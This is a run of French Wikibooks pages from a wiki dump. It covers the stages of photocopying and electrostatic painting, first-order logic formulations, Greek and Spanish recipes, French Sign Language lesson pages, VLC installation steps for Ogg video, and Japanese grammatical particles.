de considérer le processus étape par étape. <table> <tr><td colspan=4>[[Image:Stages of how a photocopier works.png]]</td></tr> <tr><td>Etape 1 </td><td>Etape 2</td><td>Etape 3</td><td>Etape 4</td></tr> </table> ===Première étape=== Des charges positives sont créées sur une plaque à l’aide d’une source de haute tension. La plaque est reliée à la terre, mais les charges n’ont pas tout à fait assez d’énergie pour s’en aller. (La plaque n’est pas un bon conducteur de l’électricité.) ===Deuxième étape=== Une feuille de papier est placée au-dessus de la plaque et de la lumière est envoyée sur cette feuille. Là où la feuille est blanche, la lumière est réfléchie sur la plaque. Là où la feuille est noire, une ombre arrive sur la plaque. La lumière qui arrive sur la plaque apporte juste assez d’énergie pour permettre aux charges de s’écouler vers la terre. La plaque devient neutre là où le papier est blanc, mais garde ses charges là où le papier est noir. La plaque est maintenant une copie de la feuille de papier, avec des charges à la place de l’encre. ===Troisième étape=== Les particules d’encre (poudre très fine) sont pulvérisées à travers un bec chargé négativement sur la plaque. Lorsque ces particules passent à travers le bec chargé, elles prennent une fraction de la charge ce qui les rend négatives. Elles sont alors attirées par les régions de la plaque chargées positivement, car les charges de signes contraires s’attirent. Un nouveau faisceau de lumière permet alors aux charges positives de partir à la terre. (Cependant, la charge négative des particules d’encre subsiste.) ===Quatrième étape (qui n’est pas si importante)=== Une feuille de papier reçoit une charge positive importante et est ensuite mise en contact avec la plaque. Le papier attire l’encre. Il est ensuite retiré de la plaque et passe dans un élément chauffant. La chaleur fait fondre l’encre et la fixe sur le papier. Dans une vraie photocopieuse, il n’y a pas de plaque, mais un large tambour (cylindre). Lorsque le tambour tourne, sa surface passe par les étapes 1 à 4. A la fin du cycle, un balai élimine l’encre qui reste sur le tambour et tout le cycle peut recommencer avec une nouvelle image. Une bonne photocopieuse peut imprimer 20 copies par minute (20 ppm), ce qui équivaut à 3 secondes par page. ===Questions sur les photocopieuses=== '''Q1)''' Si les régions noires de l’image laissent une charge positive sur la plaque, quelles charges laissent les régions blanches ? (''Soyez attentifs, la réponse n’est peut-être pas ce que vous pensez !'') '''Q2)''' Comment la lumière qui tombe sur la plaque chargée lui permet-elle de perdre sa charge? '''Q3)''' Pourquoi donne-t-on une charge négative à l’encre ? '''Q4)''' Pourquoi le papier attire-t-il l’encre ? ==Autres usages de l’électricité statique== ===Peinture des carrosseries de voiture=== Quand de la peinture est pulvérisée au pistolet à peinture, le peintre doit normalement faire preuve de beaucoup d’habileté pour que la peinture s’applique uniformément. En raccordant le bec du pulvérisateur à une électrode négative, il est possible de charger chaque gouttelette de peinture individuellement. Si la carrosserie est chargée d’électricité de signe contraire, les gouttelettes de peinture seront attirées. Ceci présente plusieurs avantages : *Moins de tâches – la peinture va sur la carrosserie et non sur le sol qui est neutre électriquement. *Moins de gaspillage – toute la peinture arrive sur la carrosserie, très peu est perdu. *Moins d’habileté est nécessaire – puisque la charge est sur toute la carrosserie, la peinture arrive aussi sur l’envers de celle-ci ; la peinture se répartit d’elle-même tout autour des arêtes! ===Questions=== (n'ésitez pas a en poser ) '''Q5)''' Si les gouttelettes de peinture sont chargées positivement, quelle charge devrait porter la carrosserie ? '''Q6)''' Pourquoi y a-t-il moins de peinture sur le sol ? <table bgcolor=ffeeaa><tr><td> '''Résumé''' *Une photocopieuse utilise une image formée d’électricité statique pour attirer l’encre. *Les charges de signes contraires s’attirent, l’image et l’encre sont chargées avec des signes contraires. *L’attraction des charges opposées est aussi utilisée pour la peinture par pulvérisation sur voitures. *La carrosserie et la peinture sont chargées avec des signes contraires. </td></tr></table> =Électricité domestique= =Microprocesseur= Historique : de la logique discrète au microprocesseur bloc fonctionnel Objectif : simplifier la conception des systèmes logiques par des blocs standards Passage de la logique câblée à la logique programmée Double aspect : électronique (matériel) / logiciel (mots de commande) Architecture matérielle : - unité centrale arithmétique et logique ALU - registres internes - bloc de séquencement interprète des mots de codage - parcours des données dans un microprocesseur - bus : adresses, données et contrôle - architectures spéciales : machines à piles, pcodes Architecture logicielle : - notion de code : numération binaire, codes ASCII et Unicode, instructions - taille du mot - jeu d'instructions - CISC et RISC Programmation : assembleur, langage de plus ou moins haut niveau : Forth, C, etc. Notion de système à microprocesseur : mémoire de code et de données, ports d'entrée-sortie, éléments utilitaires : compteurs, horloge, conversion AN et NA avec le monde analogique, etc. Applications Retrieved from "http://en.wikibooks.org/wiki/LearnElectronics:Chapter9" [[nl:Fysica/Elektriciteit]] Image:Stages of how a photocopier works.png 2758 14327 2005-03-01T23:28:25Z No-w-ay 218 [http://en.wikibooks.org/wiki/Image:Stages_of_how_a_photocopier_works.png Source] (Wikibooks anglophone) Programmation Objectpal 2760 14329 2005-03-02T09:34:04Z 212.194.75.11 Paradox est un logiciel de base de données pouvant être utilisé aussi bien sur des postes isolés que sur un réseau local. Son interface visuelle permet de gérer les tables (structures et données), de construire des fiches de manipulation des données, de faire des requêtes (éventuellement en SQL), de produire des états d'impression. Son langage de programmation (ObjectPal) en fait un outil de développement complet permettant de réaliser rapidemment des applications de gestion robustes et performantes. Fondements des mathématiques: d'autres formulations des principes de la logique du premier ordre 2761 14330 2005-03-14T19:26:47Z Thierry Dugnolle 206 Corrections et compléments Cette section expose d’autres façons de formuler les principes de la logique du premier ordre. ==Le calcul des séquences== Ce calcul a été inventé par Gentzen. Les règles de la déduction naturelle ont été formulées d’abord à son sujet. La méthode de Fitch, qui repose sur le décalage vers la droite des hypothèses provisoires, a été inventée ensuite. ===Moyens d’expression=== Aux moyens d’expression de la logique du premier ordre, le calcul des séquences ajoute deux opérateurs binaires fondamentaux, “Implique” et “,” (virgule), et un objet de base, “Silence”. Une séquence a la forme suivante. p1, ..., pn Implique c p1, ..., pn sont les n prémisses, où n est un entier strictement positif, c est la conclusion. Les prémisses et la conclusion sont ou bien des formules du calcul des prédicats (sans “Implique” et “,” ) ou bien “silence”. ===Formules initiales=== Les formules initiales du calcul des séquences sont toutes les séquences de la forme suivante. p Implique p p désigne n’importe quelle formule du calcul des prédicats. Il s’agit d’un schéma d’axiomes. C’est une vérité logique au même sens où la règle de répétition est une règle correcte de déduction. Toutes les séquences ainsi obtenues sont dites prouvables. ===L’usage des hypothèses=== La règle suivante permet d’introduire des prémisses. Elle correspond à la possibilité d’introduire librement des hypothèses provisoires. Si (P Implique c) est une séquence prouvable alors (P, q Implique c) est une séquence prouvable. P désigne n’importe quelle combinaison de formules du calcul des prédicats avec l’opérateur “,”. On les appelle des suites (finies) de formules. Pour calculer commodément sur les prémisses, il faut pouvoir les mettre dans n’importe quel ordre. On peut pour cela définir l’égalité entre les suites de prémisses de telle façon qu’elle respecte l’associativité et la commutativité de “,”. ((P, Q), R) = (P, (Q , R)) (P, Q) = (Q , P) pour toutes suites P, Q, R de formules du calcul des prédicats. L’associativité permet de supprimer toutes les parenthèses qui séparent des virgules. On se donne alors la règle suivante. Si P = Q et (P Implique c) est une séquence prouvable alors (Q Implique c) est une séquence prouvable ===Les règles de déduction=== Toutes les règles de la déduction naturelle par la méthode de Fitch peuvent être traduites en règles du calcul des séquences. Elles sont les suivantes. Si (H Implique (si p alors q)) et (H Implique p) sont des séquences prouvables alors (H Implique q) est une séquence prouvable Si (H, p Implique q) est une séquence prouvable alors (H Implique (si p alors q)) est une séquence prouvable Si (H Implique p) et (H Implique q) sont des séquences prouvables alors (H Implique (p et q)) est une séquence prouvable Si (H Implique (p et q)) est une séquence prouvable alors (H Implique p) et (H implique q) sont des séquences prouvables. Si (H Implique p) est une séquence prouvable alors (H Implique (p ou q)) et (H Implique (q ou p)) sont des séquences prouvables. Si (H, p Implique c) et (H, q Implique c) sont des séquences prouvables alors (H, (p ou q) Implique c) est une séquence prouvable Si (H, p Implique (c et non c)) est une séquence prouvable alors (H Implique non p) est une séquence prouvable Si (H Implique non non c) est une séquence prouvable alors (H Implique c) est une séquence prouvable Si (H Implique tout x est tel que p) est une séquence prouvable et t est un terme dont les variables ne sont pas liées dans p et q est obtenu par la substitution de t à toutes les occurences libres de x dans p alors (H Implique q) est une séquence prouvable Si (H Implique p) est une séquence prouvable et x est une variable qui n’a pas d’occurences libres dans les formules de H alors (H Implique tout x est tel que p) est une séquence prouvable Si (H Implique p) est une séquence prouvable et p est obtenu à partir de q en y substituant un terme t à toutes les occurences libres d’une variable x alors (H Implique il existe un x tel que q) est une séquence prouvable Si (H Implique il existe un x tel que c) est une séquence prouvable et d est obtenu à partir de c en substituant à toutes les occurences libres de x une nouvelle variable z qui n’a pas d’occurences dans H et dans c et (H, d Implique f) est une séquence prouvable et z n’a pas d’occurences dans f alors (H Implique f) est une séquence prouvable ===L’ensemble des séquences prouvables et les vérités anhypothétiques=== Pour définir les vérités anhypothétiques, on ajoute la règle suivante. Si (P Implique c) est une séquence prouvable alors (P, silence Implique c) est une séquence prouvable Les séquences prouvables sont toutes celles qui sont obtenues à partir des séquences initiales en appliquant un nombre fini de fois les règles précédentes. Les vérités anhypothétiques sont les formules p telles que (silence Implique p) est une séquence prouvable. Cette définition est équivalente à celle donnée par la méthode de Fitch parce que les deux méthodes sont deux façons différentes de présenter les mêmes calculs. ==Les axiomes logiques des Principia Mathematica== Les lois logiques sont obtenues à l’intérieur du système de Whitehead et Russell (1910) à partir de six schémas d’axiomes et de deux règles de déduction, la règle de détachement et la règle de généralisation. Dans toutes les preuves les conclusions sont obtenues à partir des prémisses avec seulement ces deux règles. Cela marche parce que tous les axiomes obtenus à partir des schémas d’axiomes logiques sont automatiquement incorporés dans les prémisses. ===Les schémas d’axiomes=== Ces schémas d’axiomes sont les suivants. p, q, et r peuvent être remplacées par des formules quelconques (avec ou sans variables libres) du calcul des prédicats au premier ordre. *si (p ou p) alors p *si p alors (p ou q) *si (p ou q) alors (q ou p) *si (si p alors q) alors (si (p ou r) alors (q ou r)) *si (tout x est tel que p) alors p’ où p’ est obtenu à partir de p en substituant une variable y, non liée dans p, à toutes les occurences libres de x dans p. *si (tout x est tel que (p ou q)) alors (p ou tout x est tel que q) où p est une formule qui ne contient pas x comme variable libre ===Les deux règles de déduction=== La règle de détachement dit que des deux prémisses p et (si p alors q) on peut déduire q. La règle de généralisation dit que de l’unique prémisse p on peut déduire (tout x est tel que p) ===Equivalence avec la déduction naturelle=== On peut prouver que toutes les vérités anhypothétiques, au sens de la déduction naturelle, sont ou bien des axiomes obtenus à partir de ces schémas, ou bien des conséquences que l’on peut déduire en un nombre fini d’étapes à partir de ces axiomes avec les deux règles de déduction. Toutes les preuves que l’on peut formaliser dans la déduction naturelle peuvent donc être formalisées dans le calcul logique (au premier ordre) de Whitehead et Russell et inversement. ==Les règles d'un dialogue== On va définir les règles d’un dialogue entre un défendeur et un critique. Le défendeur doit montrer que la thèse qu’il soutient est cohérente. Le critique doit prouver que la thèse est contradictoire. Les rôles ne sont pas symétriques. Le défendeur doit toujours répondre aux questions qu’on lui pose. Le critique est libre de poser des questions sur la base de tout ce que le défendeur a déjà dit. *Si le défendeur a dit (p ou q), le critique peut lui demander de choisir entre p et q. *Si le défendeur a dit (p et q), le critique peut lui demander de dire p, et de dire q. *Si le défendeur a dit (si p alors q), le critique peut lui demander de choisir entre (non p) et q. *Si le défendeur a dit (pour tout x, p) et o est un objet du discours et q est obtenu à partir de p en substituant o à toutes les occurences libres de x dans p alors le critique peut demander au défendeur de dire q. Les objets du discours sont des constantes construites avec les objets et les opérateurs mentionnés dans la thèse soutenue ou introduites ultérieurement. *Si le défendeur a dit (il existe un x tel que p) alors le critique peut lui demander, comment s’appelle-t-il ? Le défendeur doit alors répondre par une constante c, et énoncer q, qui est obtenu par la substitution de c à toutes les occurences libres de x dans p. On suppose en outre que le défendeur et le contradicteur se sont mis d'accord sur la signification de la négation des formules complexes : * non non p veut dire p * non(p ou q) veut dire ((non p) et non q) * non(p et q) veut dire ((non p) ou non q) * non(si p alors q) veut dire (p et non q) * non(pour tout x, p) veut dire (il existe un x tel que non p) * non(il existe un x tel que p) veut dire (pour tout x, non p) Un défendeur se contredit lorsqu’il a dit à la fois p et (non p), pour une formule p. Si le défendeur est malhabile il peut être amené à se contredire alors que la thèse qu’il soutient n’est pas contradictoire. Une thèse est vraiment contradictoire lorsqu’un critique habile peut amener tous les défendeurs, habiles ou non, à se contredire. Les règles précédentes de dialogue permettent donc de définir l’ensemble des thèses contradictoires. Définissons maintenant une loi logique comme une thèse dont la négation est contradictoire. On peut prouver que l’ensemble des lois logiques ainsi définies est identique à l’ensemble des vérités anhypothétiques définies par les règles de la déduction naturelle. Ces règles de dialogue sont donc une autre formulation des principes de la logique du premier ordre. [[Catégorie:Logique mathématique]] LSF:Transfert 2762 14331 2005-03-02T13:02:28Z Kowey 113 LSF:Transfert déplacé vers LSF/Transfert #REDIRECT [[LSF/Transfert]] Cuisine:Recettes de cuisine grecque 2764 16541 2005-07-15T09:35:05Z 82.252.77.105 == Mézés == * [[Cuisine:Tzadziki|Tzadziki]] : fromage blanc avec du concombre * Mélidzano salata : caviar d'aubergine * Humus : purée de pois chiche * Feuilles de vignes farcies * [[Cuisine grecque : Choriatiki| Choriatiki]] : salade grecque == Plats chauds == * [[Cuisine grecque : spanakopita|spanakopita]] : tourte aux épinards avec de la féta ou un chèvre long * [[Cuisine:Moussaka|Moussaka]] * Souvlaqui * Keftedes : boulettes de viande {{Recettes par pays}} Exercices 2765 14333 2005-03-02T13:30:30Z Kowey 113 Exercices déplacé vers LSF/Exercices #REDIRECT [[LSF/Exercices]] Cuisine grecque : spanakopita 2766 21655 2005-09-18T13:45:56Z 213.6.7.250 s/oe/œ/g [[Cuisine:Recettes de cuisine grecque|Recettes de cuisine grecque]]> Recette pour 6 à 8 personnes ==Ingrédients== * 500 g d'épinards en branches * 500 g de pâte feuilletée * 4 œufs * 1 chèvre long ou de la féta == Préparation == # Préchauffer le four à 250 °C. # Beurrer un plat et y disposer la moitiée de la pâte feuilletée. # Battre les 4 œufs, et en garder une petite partie pour la dorure. # Mélanger le chèvre long découpé en morceaux les épinards en branches et la grosse partie des œufs battus ensemble. # Verser le mélange sur la pâte feuilleté puis recouvrir avec l'autre moitiée. # Mettre le reste d'œuf battu sur le dessus de la pâte feuilleté # Laisser cuire au four pendant 45 min à peu près C'est prêt régalez vous!!! == Note == Afin de bien réussir son plat il faut penser à bien essorer les épinards. Attention à prendre des épinards en branche car les épinards hachés sont mangeables mais très difficilement essorables. == Variante == * Si vous voulez manger léger ne mettez que 3 œufs, en revanche si vous avez assez faim vous pouver rajouter du gruyère rapé. * Pour enrichir ce plat vous pouvez également mettre du saumon fumé par dessus la farce avant de couvrir avec la pâte feuilleté. retour aux [[Cuisine:Recettes de cuisine grecque|Recettes de cuisine grecque]] Cuisine:Recettes de cuisine espagnole 2767 29752 2006-01-21T16:29:43Z 87.64.2.167 /* Préparation */ __NOTOC__ == Soupe à l'ail== ==== Ingrédients ==== Ingrédients (pour 4) 6 gousses d'ail. 2 L d'eau 100 grammes de pain sec du jour précédent. 4 piment secs un peu de paprika en poudre pour colorer le potage. 4 blancs d'oeufs. quelque morceaux d'oignon 4 cuillères d'huile d'olive. Sel. On peut rajouter quelques morceaux de noix. === [[Cuisine:Paëlla|Paëlla]] === [[Image:Paella1.jpg|200px]][[Image:Paella2.jpg|200px]] == Gaspacho == Le '''gaspacho''' est une boisson rafraîchissante très répandue dans le sud de l'Espagne. Comme il est préparé avec des ingrédients frais, il contient des vitamines. Selon les régions, il se prépare de différentes manières. ====Ingrédients==== * 3 tranches de pain * 3 gousses d'ail * sel et poivre * 4 cuillers à soupe d'huile d'olive * 500 gr. de tomates * 1 poivron * 1 concombre * 1 oignon * 2 cuillers à soupe de vinaigre (par ex. vinaigre de sherry) ====Préparation==== * Prendre une tranche de pain, en faire des croûtons et réserver. * Piler l'ail dans un mortier avec une pincée de sel (ou passer au mixer ou au presse-purée). * Emietter le reste du pain et l'ajouter à l'ail. * Verser l'huile progressivement en ne cessant de remuer pour former une pâte homogène. * Laisser reposer 30 minutes. * Nettoyer ou éplucher les légumes, les égrener si nécessaire. * Couper un tiers des légumes en petits dés. * Ecraser le reste dans la pâte. * Passer au chinois et diluer avec le vinaigre et un bon demi-litre d'eau. * Faire macérer au moins deux heures au réfrigérateur. * Sortir du réfrigérateur, bien remuer et assaisonner de sel et de poivre. * Servir avec les croûtons et les légumes réservés. <br /> {{Recettes par pays}} LSF/Le vocabulaire 2768 14336 2005-03-02T14:49:39Z Kowey 113 LSF/Le vocabulaire déplacé vers LSF/Vocabulaire #REDIRECT [[LSF/Vocabulaire]] La grammaire en LSF 2769 14337 2005-03-02T15:35:41Z Kowey 113 La grammaire en LSF déplacé vers LSF/Grammaire #REDIRECT [[LSF/Grammaire]] Modèle:LSF navigation 2770 14338 2005-03-02T17:15:03Z Kowey 113 leçons [[LSF|Langue des signes française]] : [[LSF/Leçons|Leçons]] | [[LSF/Vocabulaire|Vocabulaire]] | [[LSF/Grammaire|Grammaire]] | [[LSF/Exercices|Exercices]] Wikilivres:Regarder des vidéos ogg 2771 14339 2005-03-02T16:53:22Z Kowey 113 Le projet wikibooks utilise un format de vidéo qui s'appelle Ogg Theora. Pour regarder les vidéos de ce format, vous pouvez télécharger VLC, un logiciel qui est gratuit et très facile à utiliser. == Windows == # Télecharger VLC (http://www.videolan.org/vlc/download-windows.html) # Installer le logiciel ## Enregistrer le fichier sur votre Bureau et double-cliquer le pour l'installer <!-- screenshot --> ## Selectionner toutes les options dans l'installateur <!-- screenshot --> ## Cliquer sur "Next" jusqu'au fin d'installation <!-- screenshot --> # Lorsque vous souhaitez regarder une vidéo, il suffit de cliquer sur le fichier .ogg, et demander au votre navigateur de l'ouvrir. Vous pouvez également l'enregistrer sur votre machine pour la regarder plus tard. #* Tester votre installation de VLC en regardant la video [[Media:LSF Vocab demander.ogg|LSF Vocab demander.ogg]] == Mac OS X == # Télécharger VLC (http://www.videolan.org/vlc/download-macosx.html). # Installer le logiciel. # Pour regarder une vidéo, vous pouvez l'enregistrer sur votre ordinateur et puis, double-cliquer son icone pour la regarder dans VLC. #* Tester votre installation de VLC en regardant la video [[Media:LSF Vocab demander.ogg|LSF Vocab demander.ogg]] == Pour Linux et autres systèmes == # Voir http://www.videolan.org pour détails LSF/Formes et couleurs 2772 14340 2005-03-02T17:13:52Z Kowey 113 {{LSF}} ----- = Partie 1 = == Les formes == La LSF utilise un mélange de langage et de mime. Apprendre à mimer est essentiel pour faire de la LSF éfficace. On commencera par les formes... === Lignes === === Formes plates === === Formes en 3 dimensions === == Les couleurs == Maintenant, apprenons quelques mots. <!-- 4 couleurs: bleu, rouge, vert, noir --> Que decrire-t-on dans les vidéos dessous? <!-- 2 vidéos: une forme et un couleur --> Pour une liste complète des couleurs, voir [[LSF/Vocab/Couleurs]] == Exercices == * Décrire les objets dessous: <!-- quelques objets avec une forme precise, et une couleur --> * Lorsque vous vous promenez dans la rue, signez les couleurs de les voitures que vous voyez. = Partie 2 = == Des formes complexes == <!-- des sous-formes, etc --> == Exercices == ----- {{LSF navigation}} LSF/Leçons 2773 23820 2005-10-22T00:39:08Z Kowey 113 /* Intermédiare */ {{LSF navigation}} ---- Attention! ce livre ne peut pas remplacer un vrai cours de LSF. Par contre, si vous avez oublié ou mal compris quelque chose dans le cours, ou si vous vouliez simplement voir à quoi ressemble la langue, vous pourriez trouvez ces leçons utiles: == Débutant == * Niveau 1-2: *# [[LSF/Formes et couleurs|Formes et couleurs]] *# [[LSF/Dactylologie|Dactylologie]] *# [[LSF/Décrire une personne|Décrire une personne]] *# [[LSF/Syntaxe 1|Les verbes]] *# [[LSF/Proformes 1|Les proformes]] * Niveau 3-4: La plupart de la grammaire LSF se trouve ici. On se rend compte très vite que la LSF est une langue vraiment differente au français *# [[LSF/Possessives simples|Les possessives]] *# [[LSF/Rôles|Rôles]] *# [[LSF/Places|Places]] == Intermédiare == * Niveau 5-6: *# [[LSF/Impliqué|Signer impliqué]] *# [[LSF/Durée|Les expressions de durée]] *# [[LSF/La LSF Idiomatique|La LSF Idiomatique]] * Niveau 7-8: *# [[LSF/Possessives complexes|Les possessives enchainées]] *# [[LSF/La LSF Idiomatique|La LSF Idiomatique (2)]] == Avancé == * Niveau 9-10: * Niveau 11-12: *# [[LSF/Interface et interprète|Interfaces et Interprète]] * L'intepretation professionelle? ---- {{LSF navigation}} Image:Cuissonpommes.JPG 2774 14342 2005-03-02T18:36:57Z Antoinel 182 Cuisson des pommes avec la cassonade {{GFDL}} Regarder des vidéos ogg 2775 14343 2005-03-02T19:21:21Z Kowey 113 Regarder des vidéos ogg déplacé vers Wikilivres:Regarder des vidéos ogg #REDIRECT [[Wikilivres:Regarder des vidéos ogg]] Modèle:Étagère des Technologies 2779 25969 2005-11-24T16:25:04Z Marc 66 <center>'''<big>Technologies</big>'''</center> '''I<small>NDUSTRIE</small>''' - [[Tribologie - Couverture|Tribologie]] (science du frottement) [[Image:100%.png]] - [[ressort|Les ressorts]] [[Image:50%.png]] - '''M<small>ATÉRIAUX</small>''' - [[Acier inoxydable]] [[Image:50%.png]] - [[Verre]] [[Image:25%.png]] - [[Tri sélectif des emballages ménagers]] [[Image:100%.png]] Fondements des mathématiques: les logiques d'ordre supérieur 2784 14351 2005-03-02T23:04:16Z Thierry Dugnolle 206 Création Une logique est au premier ordre lorsque les quantificateurs portent seulement sur les variables d’objet. Les symboles des prédicats et des opérateurs fondamentaux sont considérés comme des constantes. Si on introduit des variables de prédicat ou d’opérateur et si on quantifie sur ces variables, on obtient une logique du deuxième ordre. Les prédicats et les opérateurs peuvent eux-mêmes être considérés comme des objets. On peut alors introduire des prédicats de type 2, les précédents étant de type 1. On obtient uen formule atomique en appliquant un prédicat unaire de type 2 à un prédicat de type 1, par exemple. Il faut distinguer les types des prédicats si l’on veut conserver les règles de grammaire qui postulent qu’un prédicat ne peut pas être appliqué à lui-même. Mais cette règle n’est pas nécessaire. On peut aussi introduire des prédicats de type supérieur à deux. On obtient alors une hiérarchie de prédicats semblable à la hiérarchie des ensembles dans la théorie des types de Whitehead et Russell. On peut aussi introduire divers types d’opérateurs, des opérateurs de type 2a qui portent sur les opérateurs de type 1, des opérateurs de type 2b qui portent sur les prédicats de type 1,... Rien n’interdit d’imaginer tout ce qu’on veut. Dès qu’on quantifie sur tous ces nouveaux êtres on obtient des logiques d’ordre supérieur. Ces logiques sont des théories des ensembles et des fonctions, parce que les prédicats peuvent être identifiés à des ensembles et les opérateurs à des fonctions. Elles conduisent aux mêmes difficultés que les autres formulations des théories des ensembles. La logique du premier ordre peut être utilisée pour développer des théories des ensembles. Cela permet de séparer nettement les principes purement logiques, ceux du calcul des prédicats au premier ordre, et les principes ensemblistes. Les propriétés particulières aux ensembles et aux fonctions sont énoncées dans des axiomes. Toutes les déductions sont faites en prenant ces axiomes comme prémisses mais sans faire usage des logiques d’ordre supérieur. Même pour les théories des ensembles, la logique du premier ordre est suffisante pour formaliser toutes les preuves. Japonais:Particules simple 2785 36605 2006-03-08T17:51:48Z Yota 1223 /* particules principales */ Retour à la [[Table des matières (Japonais)|table des matières]]. Comment font les Japonais pour distinguer par exemple le sujet ou un complément d'objet? Ils ont un système ingénieux, les particules enclitiques: elle se trouvent après chaque mot, et sont constituées d'une petite syllabe (parfois deux). Leur rôle est d'indiquer si le mot qui le précède est un sujet ou un complément d'objet ou autre. Le japonais est un langage très structuré, les particules enclitiques jouent un rôle primordial dans la compréhension de la phrase.... En effet la phrase japonaise est souvent comparable à une suite de mots, suite pouvant être mise dans un désordre le plus total ^_^, il est donc primordial d'indiquer quelles sont les fonctionnalités des différents mots/ groupes de mots.... sachant qu'il est tout-à-fait possible d'intervertir deux groupes.... ==particules principales== === は - Particule d'annonce === は (wa, prononcer "oua") est l'un des piliers de la phrase. Cette particule est propre au japonais, il n'y a pas d'équivalence en français. Son premier emploi, lorsqu'elle se trouve après un nom ou pronom, sert à indiquer le thème de la phrase. On peut le traduire littéralement par "parlons de ~" ou "Quant à ~". Il est souvent recommandé aux débutants de mettre le thème en premier dans la phrase. <b>ATTENTION</b> : la particule は ne marque pas le sujet grammatical du 'mot verbal' (nous verrons plus tard à quoi cette notion se rapporte), bien que souvent le thème et le sujet grammatical soient les mêmes. <b>Exemple</b>: 今日 ''は'' 日曜日 です 。 今日 = Aujourd'hui 日曜日 = Dimanche [[です]] = Etre (Degré Moyen) [[です|/!\voir lien /!\]] 今日は日曜日です。= (Parlons d') Aujourd'hui c'est dimanche. Dans cette phrase le thème abordé est 今日 ( = Aujourd'hui ). === が - Particule sujet === が (ga, prononcer "ga") est employé pour indiquer que le mot qui le précède est le sujet grammatical. Exemple: 本 ''が'' あります。 本 = Livre あります = se trouver où il y a (uniquement pour les objets inanimés) 本があります。= Il y a un livre Dans cette phrase le sujet est 本 ( = livre ) === を - Particule d'objet direct === を (wo, prononcer "o") sert tout simplement à indiquer que le mot qui le précède est le Complément d'Objet Direct (C.O.D). Exemple: パン ''を'' 食べます。 パン = pain 食べます = manger パンを食べます。= (je,tu,il,...) mange du pain Dans cette phrase le C.O.D. est パン ( = pain ) === の - no - particule de relation === Cette particule sert à indiquer une relation (appartenance) entre deux mots. Elle s'emploie toujours de la manière : [ce à qui/quoi cela appartient] の [objet] Elle est donc très utilisée puisque le japonais ne posséde pas de pronom possessif (sa, ses, ma, mes...) <u>exemple</u> 私 の 本 私 = moi 本 = livre ce qui signifie "mon livre" (le livre à moi) === へ - he - Particule de destination === cette particule indique que le groupe de mots précédent est la destination d'une action..... <u> exemple </u> 東京 へ 行きます 東京 : tokyo 行きます : aller (présent/futur - degré moyen) === で - de - Particule de moyen === Cette particule indique un moyen, une manière.<br> <u>exemples</u><br> タクシ で 行きます<br> タクシ = taxi<br> 行きます = aller takushi de ikimasu<br> j'y vais en taxi 日本語 で 話します<br> 日本語 = japonais (la langue)<br> 話します = parler nihongo de hanashimasu<br> je parle en japonais === で - de - Particule de lieu === Cette particule indique le lieu ou se produit une action<br> (pour les verbes d'états tels que います et あります, la particule に est utilisée) <u>exemple</u><br> レストラン で 食ます <br> レストラン = restaurant<br> 食ます = manger resutoran de tabemasu<br> je mange au restaurant === で - de - Particule de cause === Cette particule indique la cause d'un état <u>exemple</u><br> 雨 で 行きません<br> 雨 = pluie<br> 行きません = ne pas aller ame de ikimasen<br> je n'y vais pas à cause de la pluie === に - ni - La particule d'origine === == autres particules == === まで- made - Particule qui exprime le point d'arrivée === === から - kara - Particule qui exprime le point de départ === === と - to - particule d'énumération === Cette particule permet de faire des énumérations complètes <u>exemples</u><br> 車 に 父 と 母 と 祖父 が います。<br> 車 = voiture<br> 父 = père<br> 母 = mère<br> 祖父 = grand père<br> います = se trouver kuruma ni chichi to haha to sofu ga imasu<br> dans la voiture, il y a mon père, ma mère, mon grand père (et c'est tout) avec un seul と :<br> 友達 と 行きます。<br> 友達 = ami<br> 行きます = aller tomodachi to ikimasu<br> j'y vais avec un ami === や - ya - particule d'énumération incomplète === Cette particule permet de faire une énumération d'objets sans citer toutes les choses présentes. <u>exemple</u><br> 教室 に 黒板 や 机 が あります。<br> 教室 = salle de classe<br> 黒板 = tableau<br> 机 = bureau<br> あります = se trouver kyoushitsu ni kokuban ya tsukue ga arimasu<br> dans la salle de classe il y a (entre autres) un tableau et un bureau.<br> L'utilisation de や sous-entends qu'il y a autre choses dans la salle mais qu'elles ne sont pas toutes citées. === も - mo - particule d'accompagnement === cette particule sert à indiquer le sujet qui lui aussi participe à l'action === より - yori - particule de comparaison (plus que) === Cette particule sert à faire une comparaison du style "A est plus [[Japonais:Adjectifs|ADJECTIF]] que B"<br> A は B より [[Japonais:Adjectifs|ADJECTIF]] <u> exemple </u><br> 車 は 自転車 より 速い 車 = voiture<br> 自転車 = vélo<br> 速い = rapide kuruma wa jitensha yori hayai<br> ce qui signifie "la voiture est plus rapide que le vélo" === ほど - hodo - particule de comparaison (moins que) === Cette particule sert à faire une comparaison du style "A est moins [[Japonais:Adjectifs|ADJECTIF]] que B"<br> A は B ほど [[Japonais:Adjectifs|ADJECTIF]](forme négative) <u> exemple </u><br> 自転車 は 車 ほど 速くない 自転車 = vélo<br> 車 = voiture<br> 速くない = pas rapide (速い = rapide, voir [[Japonais:Adjectifs|adjectifs]]) jitensha wa kuruma hodo hayakunai<br> ce qui signifie "le vélo est moins rapide que la voiture" ==particules de fin de phrase== === か - ka - particule de question === cette particule indique que la phrase est une question <u>exemples</u><br> ケヴィンさん は 何歳 です か。<br> 何歳 = quel age<br> Kevin-san wa nansai desu ka<br> Quel age a Kévin ? 今日 は 何日 です か。<br> 今日 = aujourd'hui<br> 何日 = quel jour<br> kyou wa nannichi desu ka<br> Aujourd'hui, on est quel jour ? === ね - ne - particule d'accord === cette particule indique que le locuteur exprime un sentiment qui devrait être approuvé par l'interlocuteur, cela pourrait se traduire par "n'est-ce pas?" '''exemple ''' il fait chaud n'est-ce pas? 暑い です ね。 暑い(atsui) = être chaud <b>attention</b> l'adjectif japonais est aussi le verbe.... il se conjuge donc ^_^ [[です]](desu) = mot/verbe un peu particulier.... === よ - yo - particule de position === cette particule indique que le locuteur exprime un sentiment qui lui est propre, qu'il prend position..... on pourrait le traduire par "je pense que", "je trouve".... <b>exemple</b> il fait chaud je trouve. 暑い です よ === な - na - particule de réflexion === cette particule indique que le locuteur exprime une pensée, une réflexion.... on pourrait le traduire par "cela doit être cela".... <b> exemple </b> -> 遅い ね -> 始める な 遅い : tard / tardif / (2) / lent 始める : commencer c'est lent n'est-ce pas? cela doit être parce que cela commence.... {{Grammaire Japonaise}} [[catégorie:Grammaire Japonaise]] Image:Preparation1lasagnes.JPG 2786 14353 2005-03-03T06:13:22Z Antoinel 182 Préparation de la sauce bolognaise {{GFDL}} Fondements des mathématiques: les définitions 2787 14354 2005-03-03T09:07:15Z Thierry Dugnolle 206 Création Cette section discute le rôle des définitions et des notions premières à l’intérieur des théories. ==Faut-il tout 